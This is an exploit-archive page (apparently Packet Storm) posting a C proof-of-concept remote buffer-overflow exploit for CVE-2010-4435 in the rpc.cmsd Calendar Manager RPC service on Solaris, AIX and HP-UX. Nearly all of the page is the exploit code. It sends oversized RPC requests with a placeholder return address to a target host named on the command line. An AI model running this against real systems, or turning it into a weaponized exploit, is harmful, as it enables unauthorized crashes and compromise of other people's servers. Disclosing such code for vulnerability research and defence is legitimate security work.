what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

rpc.cmsd Remote Proof Of Concept Exploit

rpc.cmsd Remote Proof Of Concept Exploit
Posted Feb 8, 2011
Authored by Rodrigo Rubira Branco

rpc.cmsd / Calendar Manager RPC service remote proof of concept buffer overflow exploit for Solaris, AIX, and HP-UX.

tags | exploit, remote, overflow, proof of concept
systems | solaris, aix, hpux
advisories | CVE-2010-4435
SHA-256 | 5b93d417eda40ad6a76cd6bd81c57c1a00b7622bb6aa9d80ff8bb2625d7e3c02

rpc.cmsd Remote Proof Of Concept Exploit

Change Mirror Download
/* 
* Rodrigo Rubira Branco (BSDaemon) - <rodrigo *noSPAM* kernelhacking . com>
* http://www.kernelhacking.com/rodrigo
* http://www.risesecurity.org
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <rpc/rpc.h>

#define CMSD_PROG 100068
#define CMSD_VERS 4
#define CMSD_INSERT 6
#define CMSD_UNKN 10

struct cm_send {
char *s1;
char *s2;
};

struct cm_send2 {
char *s1;
char *s2;
};

struct cm_reply {
int i;
};

bool_t xdr_cm_send(XDR *xdrs, struct cm_send *objp)
{
if(!xdr_wrapstring(xdrs, &objp->s1))
return (FALSE);
if(!xdr_wrapstring(xdrs, &objp->s2))
return (FALSE);

return (TRUE);
}

bool_t xdr_cm_send2(XDR *xdrs, struct cm_send2 *objp)
{
if(!xdr_wrapstring(xdrs, &objp->s1))
return (FALSE);
if(!xdr_wrapstring(xdrs, &objp->s2))
return (FALSE);

return (TRUE);
}

bool_t xdr_cm_reply(XDR *xdrs, struct cm_reply *objp)
{
if(!xdr_int(xdrs, &objp->i))
return (FALSE);
return (TRUE);
}

int
main(int argc, char *argv[])
{
char buf[2048], buf2[256];
long ret, offset;
int len, x, y, i;
char *hostname, *b;

CLIENT *cl;
struct cm_send send;
struct cm_send2 send2;
struct cm_reply reply;
struct timeval tm = { 10, 0 };
enum clnt_stat stat;

printf("<< rpc.cmsd remote PoC (CVE-2010-4435), tested against Solaris, AIX, HP-UX >>\n");
printf("<< Rodrigo Rubira Branco (BSDaemon) - <rodrigo *noSPAM* kernelhacking.com> >>\n");
printf("<< http://www.kernelhacking.com/rodrigo >>\n");
printf("<< http://www.risesecurity.org >>\n");

if(argc < 2) {
printf("Usage: %s [hostname]\n", argv[0]);
exit(1);
}

hostname = argv[1];

memset(buf,0x60,sizeof(buf)-1);
memset(buf2,0x44,sizeof(buf2)-1);
memcpy(buf+292,"\xaa\xbb\xcc\xdd",4);

send.s1 = buf;
send.s2 = "";
send2.s1 = buf2;
send2.s2 = "";

printf("\nSending CMSD_UNKN to the server ... ");

if(!(cl=clnt_create(hostname,CMSD_PROG,CMSD_VERS,"udp"))){
clnt_pcreateerror("\nerror");exit(-1);
}
stat=clnt_call(cl, CMSD_UNKN, xdr_cm_send, (caddr_t) &send,
xdr_cm_reply, (caddr_t) &reply, tm);

clnt_destroy(cl);

printf("done!\n");

printf("Sending CMSD_INSERT procedure ... ");

if(!(cl=clnt_create(hostname,CMSD_PROG,CMSD_VERS,"udp"))){
clnt_pcreateerror("\nerror");exit(-1);
}

cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
stat=clnt_call(cl, CMSD_INSERT, xdr_cm_send2, (caddr_t) &send2,
xdr_cm_reply, (caddr_t) &reply, tm);

printf("done!\n");
clnt_destroy(cl);

}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close